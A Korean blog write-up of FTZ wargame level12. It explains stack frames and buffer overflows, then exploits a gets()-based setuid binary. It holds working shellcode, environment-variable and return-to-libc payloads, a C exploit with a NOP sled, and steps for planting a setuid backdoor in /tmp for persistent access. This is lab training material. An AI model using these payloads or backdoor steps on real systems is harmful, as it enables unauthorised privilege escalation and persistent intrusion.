반응형

login as : level12

password : it is like this


 

버퍼 : 변수에 데이터를 저장하기 위해 확보된 임시 메모리 공간

- 지역 변수는 순서대로 변수의 크기에 해당하는 간격을 두고 스택에 쌓인다.

 

main() 함수는 스택 프레임이 구성되면서 지역변수, 스택 프레임 포인터(이전 함수의 베이스 포인터[EBP]), SFP, 인자수, 인자값, 환경변수의 선형 순서로 스택에 배치된다.

 

버퍼 오버플로우 : 입력값의 크기가 버퍼의 크기보다 큰지 경계 검사를 하지 않은 경우 메모리에 확보된 버퍼의 크기를 초과해서 데이터가 저장되면서 버퍼 주변 공간(리턴 주소 등)까지 덮어씌워지는 이상 현상

- 취약점이 있는 소스코드를 보면 입력받은 값에 대한 길이가 할당된 버퍼 크기를 넘지 않는지 경계 검사를 하지 않는 것이 취약점의 핵심이다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
	char str[256]; // 256byte 크기의 배열 선언
    char *ptr; // char형 포인터 선언
    int a; // 정수 변수 선언
    
    printf("문장을 입력하세요.\n"); // 사용법 출력
    gets(str); // 문자열 입력 받음
    printf("%s\n",  str); // 입력받은 문자열 출력
}

 

예를 들어 위의 코드가 있을 때

 

낮은 주소 4byte 4byte 256byte 높은 주소
int a char *ptr char str[256]
0x10 &(string) "string"
낮은 주소
4byte int a 0x10(=16)
4byte char *ptr &(string)
256byte char str[256] "string"
높은 주소

 

메모리 개념도를 그려보면 위와 같다.

(스택을 설명할 때 가로 배열의 그림을 사용하는 것은 기술 문서에서, 세로 배열의 그림을 사용하는 것은 초보적인 문서에서 사용한다.)

 

개발자가 소스코드에 변수를 선언하면 위의 메모리 구조와 같이 스택에 변수 공간이 할당되는데, 이 공간을 버퍼라고 한다.

 

그리고 스택의 배열은 개념도에서 놓인 것 같이 선언된 변수의 크기에 맞는 간격을 두고 위치한다.

 

str 배열에는 최대한 256byte의 문자열을 저장할 수 있고, ptr 포인터 변수에는 문자열이 있는 메모리의 주소에 대한 4byte가 저장되며, a 변수에는 정수가 저장된다.

 

정수이지만 굳이 0x10처럼 16진수로 값을 표현하는 이유는 실제로는 2진수가 저장되기 때문이다.

 


함수마다 함수 스택 프레임이 구성된다.

 

낮은 주소 4byte 4byte 256byte 4byte 4byte 4byte 4byte 4byte 높은 주소
int a char *ptr char str[256] SFP RET argc argv env
0x10 &str[256] "AAAA" SFP RET 0x02 ./cmd AAAA 환경변수
낮은 주소
4byte int a 0x10
4byte char *ptr &str[256]
256byte char str[256] "AAAA"
4byte SFP SFP
4byte RET RET
4byte argc 0x02
4byte argv ./cmd AAAA
4byte env 환경변수
높은 주소

 

함수는 자신만의 함수 스택 프레임을 위와 같이 현재의 함수를 호출한 함수의 베이스 포인터(SFP)와 RET 주소 및 인자값 등을 먼저 저장하고 난 뒤에 지역 변수를 쌓는 형식으로 구성한다.

 

먼저 스택에서 pop 할 내용이 나중에 있어야 하는 스택의 기본 개념과 관계가 있다.

 

즉, 함수 사용이 끝난 시점에서 스택의 pop 연산을 수행하다 변수의 사용이 끝난 시점에는 RET 주소만 스택에 남기 때문에 스택 포인터(SP)가 자연스럽게 리턴 주소를 가리키게 되고, 다음 분기로 이동하는 자연스러운 패턴을 보인다.

 


버퍼 오버플로우

 

낮은 주소 4byte 4byte 256byte 4byte 4byte 높은 주소
int a char *ptr char str[256] SFP RET
0x41 0x41414141 AAAA .... AAAA 0x41414141 0x41414141
낮은 주소
4byte int a 0x41
4byte char *ptr 0x41414141
256byte char str[256] AAAA .... AAAA
4byte SFP 0x41414141
4byte RET 0x41414141
높은 주소

 

 

위의 메모리 구조에는 4byte와 4byte 그리고 256byte의 버퍼가 순서대로 배치돼 있다.

 

여기서 사용자의 입력에 대한 문자열 길이를 검사하지 않으면 256byte 미만의 문자열을 받아야 할 str 배열에 272byte의 문자열을 입력하면 str 배열은 물론 ptr과 a변수뿐 아니라 스택 프레임 포인터와 리턴 주소까지 덮어써서 변수의 값을 변조하는 것은 물론 리턴 주소까지 변조할 수 있게 된다.

 

이처럼 RET 주소까지 변조하게 되면 이 함수를 종료하면서 0x41414141 주소로 이동해서 다음 코드를 실행하게 된다.

(버퍼의 크기를 초과해서 입력하면 값을 덮어쓴다는 개념을 위한 설명일 뿐 실제로는 0x41414141이라는 주소는 없기 때문에 실행 가능한 코드가 없고, 그렇기에 세그먼테이션 폴트 에러가 발생할 것이다.)

 

즉, 해커가 원하는 방향으로 실행 흐름을 바꿀 수 있게 된다는 것이다.

 

그러므로 버퍼 오버플로우를 일으키면서 RET 주소를 덮어쓸 때는 반드시 의도한 실행 코드가 위치한 정확한 주소로 덮어써야 한다.

 

실행 코드라고 하면 로컬 공격인 경우에는 셸을 실행하는 코드가 가장 좋고, 원격 공격이라면 포트를 바인딩하는 코드에서 파일을 내려받거나 원격 서버에서 공격자 쪽으로 역으로 연결하는 리버스 커넥션 등의 코드가 있다.

 


level12 문제

 

취약점이 있는 attackme라는 파일이 있고, hint 파일, level12의 웹 페이지가 있는 public_html 디렉토리와 공격을 위한 테스트 공간인 tmp 디렉토리가 있다.

 

공격의 실마리를 잡기 위해서 hint 파일을 보면 위와 같은데, printf() 부분을 보면 한글이 깨져서 출력되지만 원래 코드는 printf("문장을 입력하세요.\n"); 이다.

 

1. 256byte 크기의 지역변수인 str 배열이 선언돼 있다.

2. attackme 파일의 권한에 3093(level13)의 권한을 부여한다.

3. "문장을 입력하세요"라는 문자열을 출력한다.

4. gets 함수를 이용해 문자열을 입력받는다.

5. 입력받은 문자열을 출력하고 종료한다.

 

attackme의 코드를 분석하면 위와 같다.

 

attackme 파일은 위와 같은 절차로 실행되는 프로그램이지만, 여기서 취약점은 4번에 해당하는 문자열을 입력받는 코드에 있다.

 

입력받을 변수의공간을 256byte로 선언했지만 입력하는 문자열의 크기를 체크하는 코드가 없기 때문에 사용자가 그 이상을 입력하더라도 256byte보다 긴 문자열이 정상적으로 입력되어 버퍼 오버플로우 현상이 일어난다.

 

이번에는 attackme 파일을 실행해서 실제로 프로그램이 실행되는 절차와 버퍼 오버플로우로 인한 이상 현상을 확인해본다.

 

 

위와같이 평범한 입력 패턴으로 실행해 본 결과 앞에서 분석한 대로 attackme 프로그램이 정상적으로 동작한다.

 

낮은 주소 256byte 8byte 4byte 4byte 높은 주소
char str[256] dummy SFP RET
"AAAA"      

 

낮은 주소
256byte char str[256] "AAAA"
8byte dummy  
4byte SFP  
4byte RET  
높은 주소

 

참고로 이전에 위에서 설명을 위한 메모리 개념도들은 그저 설명을 위한 것일 뿐 실제 메모리에서는 위와 같이 dummy 값이 포함될 수 있다.

 

그렇기 때문에 지역변수로 할당한 str 배열과 RET 주소와의 간격이 얼마인지를 정확하게 알아야 RET 주소를 알아낼 수 있다.

 

그렇게 하는 이유는 정확한 거리를 알아내야만 정확한 위치에 원하는 값을 덮어쓸 수 있기 때문이다.

 

그 간격을 알아내는 가장 간단한 방법은 문자열을 1byte, 2byte 그리고 4byte와 같이 단순하게 문자열을 크기별로 직접 입력하면서 세그멘테이션 오류가 발생할 때까지 문자열을 입력하는 것이다.

 

물론 이렇게 하면 스택프레임 포인터를 덮어썼는지 RET 주소를 덮어썼는지 등을 별도로 추측해야 하고, 메모리 상태를 정확하게 알지 못하기 때문에 시행착오를 거쳐야 한다는 단점이 있다.

 

반면, 직접 바이너리를 디버깅하면 정확한 정보를 얻을 수 있다.

 

디버깅은 약간 어려울 수 있지만, 정확하게 디버깅한다면 시행착오를 상당히 줄일 수 있다.

 

 

변수의 메모리 할당 구조를 판단할 수 있는 가장 중요한 부분은 procedure prelude(함수 프롤로그 부분)에 해당하는 다음 부분이다.

 

위의 사진을 참고하자면 지역변수의 공간으로 0x108byte를 확보한 것을 볼 수 있다.

 

이를 10진수로 바꿔보면 264byte이다.

 

이 정보만으로도 str 배열과 스택프레임 포인터 사이에 8byte의 dummy가 있다는 것을 알 수 있다.

 

이처럼 dummy 공간이 생기는 이유는 컴파일될 때 CPU가 처리하기 편한 공간이 할당되기 때문이므로 디버깅을 통해 정확한 거리를 확인하는 것이 중요하다.

 

cp attackme tmp

cd tmp

gdb -q attackme

b *0x080484bf

r

AAAA

x/72x $esp

 

위와 같이 마지막 printf() 함수에 BP를 걸고 실행한 후 문자열을 입력하고 메모리의구조를 직접 확인해보면 앞에서 추측한 메모리 구조를 좀 더 정확하게 그릴 수 있다.

 

str 배열의 시작 주소가 0xbfffe9c0인 것을 알 수 있고, 지역 변수인 str 배열의 공간으로 확보한 메모리의 크기가 0x108(264)byte이므로 0xbfffeac8 주소에 스택프레임 포인터가 있고, 4byte 뒤인 0xbfffeacc 주소에 RET 주소가 있음을 확인할 수 있다.

 

낮은 주소 256byte 8byte 4byte 4byte 높은 주소
0xbfffe9c0 0xbfffeac0 0xbfffeac8 0xbfffeacc
char str[256] dummy SFP RET
AAAA   0xbfffeae8 0x42015574
낮은 주소
256byte 0xbfffe9c0 char str[256] AAAA
8byte 0xbfffeac0 dummy  
4byte 0xbfffeac8 SFP 0xbfffeae8
4byte 0xbfffeacc RET 0x42015574
높은 주소

 

메모리 개념도로 표현하면 위와 같을 것이다.

 

그러므로 str 배열 + dummy + 스택프레임 포인터(SFP) 만큼인 268byte 만큼을 덮어쓰고 RET 주소에 해당하는 4byte만 원하는 흐름의 주소로 덮어쓰면 된다.

 

낮은 주소 256byte 4byte 4byte 4byte 높은 주소
0xbfffe9c0 0xbfffeac0 0xbfffeac8 0xbfffeacc
char str[256] dummy SFP RET
배시셸 실행 셸코드   0xbfffe9c0 0xbfffe9c0
낮은 주소
256byte 0xbfffe9c0 char str[256] 배시셸 실행 셸코드
4byte 0xbfffeac0 dummy  
4byte 0xbfffeac8 SFP 0xbfffe9c0
4byte 0xbfffeacc RET 0xbfffe9c0
높은 주소

 

이제 공격을 위해 str 배열에 셸코드를 넣고, RET 주소를 셸 코드의 시작 주소로 덮어쓰면 된다.

 

이를 메모리 개념도로 표현하면 위와 같다.

 

여기서 BOF 공격의 성공 확률을 높이기 위한 팁으로 썰매라고도 표현되는 NOP 기법을 사용한다.

 

NOP는 No Operation의 약자로, 용어 그대로 아무것도 하지 않는 어셈블리 명령이다.

 

즉, NOP가 10개(줄) 있다면 10줄을 그냥 지나치고, 11번째 줄에 있는 명령어가 실행되기 때문에 NOP 10줄을 미끄러져 간다는 이미지와 연관시켜서 썰매라고도 한다.

 

낮은 주소 256byte 4byte 4byte 4byte 높은 주소
0xbfffe9c0 0xbfffeac0 0xbfffeac8 0xbfffeacc
char str[256] dummy SFP RET
NOP NOP ... 배시 셸코드   0xbfffe9c0 0xbfffe9c0

 

낮은 주소
256byte 0xbfffe9c0 char str[256] NOP NOP ... 배시 셸코드
4byte 0xbfffeac0 dummy  
4byte 0xbfffeac8 SFP 0xbfffe9c0
4byte 0xbfffeacc RET 0xbfffe9c0
높은 주소

 

NOP 썰매를 적용했을 때 모습은 위와 같다.

 

str 배열의 시작 주소인 0xbfffe9c0에 NOP부터 입력했기 때문에 실제 배시셸 실행 셸코드의 주소가 뒤로 밀린 것을 볼 수 있다.

 

이렇게 NOP로 썰매를 태우게 되면 NOP 개수만큼의 주소 공간을 벌게 된다.

 

즉, 배시셸 실행 셸 코드의 시작 주소를 약간 부정확하게 확인했더라도 NOP 개수만큼의 오차 범위 안에 있는 주소로 리턴 주소를 덮어쓸 수 있으면 공격에 성공할 수 있다.

 

예를 들어 NOP를 30개 입력하고 셸코드를 메모리에 올려둔 경우에는 RET 주소를 정확한 주소인 0xbfffe9c0이 아니라 0xbfffe9c0 ~ 0xbfffe0de 까지의 범위에 있는 주소 중 아무거나 덮어쓰더라도 결국 썰매를 타고 미끄러지다 셸 코드를 만나 셸이 떨어지게 된다.

 

이처럼 NOP는 공격의 성공률을 높여주는 팁이다.


char str[256]의 스택 주소를 이용해 공격(실패했음으로 읽기만 권장)

(python -c 'print "\x41" * 264'; cat) | ./attackme

 

위와 같이 264byte까지는 입력해도 정상적으로 처리되지만 

 

(python -c 'print "\x41" * 268'; cat) | ./attackme

(python -c 'print "\x41" * 272'; cat) | ./attackme

 

스택프레임 포인터나 RET 주소를 덮어쓰게 되면 세그먼테이션 오류가 나면서 프로그램이 비정상적으로 종료된다.

 

이렇게 비정상 종료가 버퍼 오버플로우 취약점의 존재를 뜻하는 것이므로 앞에서 분석했던 방법으로 메모리에 셸코드를 올려두고 이 셸코드으 주소로 리턴주소를 덮어쓰는 식으로 공격한다.

 

 

위와 같이 입력하면 되지만, 나의 FTZ 환경에서는 실패했다.

 

당연하다 위에서 나온 0xbfffe9c0은 tmp 디렉토리 안에 있는 attackme 파일을 실행했을 때의 스택 주소이기 때문에 level12 디렉토리 안에 있는 attackme 파일이 실행될 때의 스택 주소와는 다른 것이다.

 

그렇기에 다른 방법으로 공격을 시도한다.

 

만약 char str[256]의 스택 시작 주소를 기반으로 공격을 하고 싶다면, 스택의 주소는 실행할 때마다 달라질 수 있으므로 위의 방법보다는 변수같은 것들을 이용해 스택 주소를 구하는 exploit 코드를 사용하면 된다.

 

이 글에서는 생략한다.


환경 변수를 이용해 공격

 

export shellcode=`python -c 'print \x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

echo $shellcode

 

위와 같이 셸코드를 환경변수에 등록해준 후 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

 

getenvaddr.c 파일에 위의 코드를 입력해준 뒤

 

gcc -o getenvaddr getenvaddr.c

./getenvaddr shellcode ./attackme

 

컴파일 한 다음 위와 같이 실행하면 셸코드가 담긴 환경변수의 주소를 가져올수 있다.

 

환경 변수의 주소는 0xbfffff38이다.

 

(python -c 'print "\x41" * 268 + "\x38\xff\xff\xbf"'; cat) | ./attackme

 

위와 같이 공격 스크립트를 짜서 공격하면 성공적으로 level13의 비밀번호를 획득할 수 있다.

 


바이너리 파일 내의 정보와 공유 라이브러리 안에 있는 정보를 이용해 공격

 

ldd attackme

 

위의 명령으로 ASLR이 걸려있는지 확인하여 걸려있지 않다는 것을 확인해준 뒤

(두번 이상 실행했을 때 값이 같으면 ASLR이 안 걸려있는 것이다.)

 

 

nm 명령과 grep 명령으로 라이브러리 함수들 중 system 함수의 주소를 찾는다.

(0x4203f2c0이다.)

 

 

그리고 이어서 strings 명령과 grep 명령을 이용해 /bin/sh 문자열이 있는 주소를 알아온다.

 

주소가 127ea4 라고 되어 있는데 이는 기준 주소에서의 offset 값으로 0x42000000 주소에 0x127ea4 주소를 더해 0x42127ea4 주소이다.

 

char str[256] + dummy(8) + SFP(4) + RET(4) + [다음 함수가 종료될 때 리턴할 RET 주소] + "/bin/sh" 문자열 주소

= 268 + RET + [다음 함수가 종료될 때 리턴할 RET 주소] + [/bin/sh 문자열 주소]

= 268 + [system 함수의 주소] + [system 함수가 종료될 때 리턴할 RET 주소] + [system() 함수의 인자가 될 /bin/sh 문자열 주소]

 

위와 같이 공격 스크립트를 구성하면 main 함수가 종료되면서 system() 함수가 실행될 것이다.

 

하지만 system() 함수가 정상적으로 실행되려면 system() 함수의 인자가 먼저 스택에 push 되어 있어야 하고 그 다음 system() 함수가 종료될 때 리턴할 RET 주소가 스택에 push 되어 있어야 한다.

 

그 상태에서 system() 함수 주소로 리턴되면 system() 함수의 RET 영역보다 먼저 push 되어 있는 system() 함수의 인자인 "/bin/sh" 문자열을 가져와 실행할 것이다.

(call 명령으로 함수를 호출할 때는 SFP, RET, 인자 순서이지만, 함수로 return 할 때는 SFP가 스택에 쌓이지 않는다.)

 

(python -c 'print "a" * 268 + \xc0\xf2\x03\x42" + "bbbb" + "\xa4\x7e\x12\x42"'; cat) | ./attackme

BOF exploit 코드

 

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 272   /* NOP(219) + shellcode(45) + sfp(4) + ret(4)*/

// 배시셸을 실행시키는 셸코드 + char str[256] 배열의 시작 주소
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"
    "\xc0\xe9\xff\xbf";

int main()
{
    char shellBuf[BUFSIZE], cmdBuf[320];
    int i, j, shellLen;
    
	// 셸코드의 길이 확인
    shellLen = strlen(shellcode);
	
	// 셸코드 앞부분까지 NOP 할당
    for(i=0; i<sizeof(shellBuf)-shellLen; i++)
        shellBuf[i] = NOP;
		
    // NOP 뒤에 셸코드 할당
    for(j=0; j<shellLen; j++)
        shellBuf[i++] = shellcode[j];
    
    // (perl -e 'print "NOPs....Shellcode...[SFP][RET]"'; cat) | /home/level12/attackme 명령어
    sprintf(cmdBuf, "(perl -e \'print \"");
    strcat(cmdBuf, shellBuf);
    strcat(cmdBuf, "\"\'; cat) | /home/level12/attackme");
    strcat(cmdBuf, "\x0a");
	system(cmdBuf);
}

 

 


백도어 생성

id

cd /home/level13

pwd

source .bash_profile
source .bashrc

echo 'int main(){char *cmd[2];cmd[0]="/bin/sh";cmd[1]=(void*)0;setreuid(3093,3093);execve(cmd[0],cmd,cmd[1]);}' > /tmp/level13_backdoor.c

ls -al /tmp/level13_backdoor.c

gcc /tmp/level13_backdoor.c -o /tmp/level13_backdoor

chmod 6755 /tmp/level13_backdoor

ls -al /tmp/level13_backdoor

[Ctrl + c]키 입력으로 level13의 셸 탈출하기

id

/tmp/level13_backdoor

id

 

실제 서버라면 취약점이 패치될 수도 있고, 재부팅 등으로 서버의 환경이 바뀐 경우에 바이너리를 다시 분석해서 덮어써야 할 정확한 주소를 파악하는 등의 번거로움이 발생하므로 간단하게 level13 권한을 얻을 수 있는 백도어를 심어두는 것이 좋다.

 

위의 사진에서는 입력을 안 한 source .bash_profile과 source.bashrc 명령은 level13 계정의 환경으로 설정하기 위함이므로 실제로는 입력해주는 것이 좋다.

 

 

반응형

+ Recent posts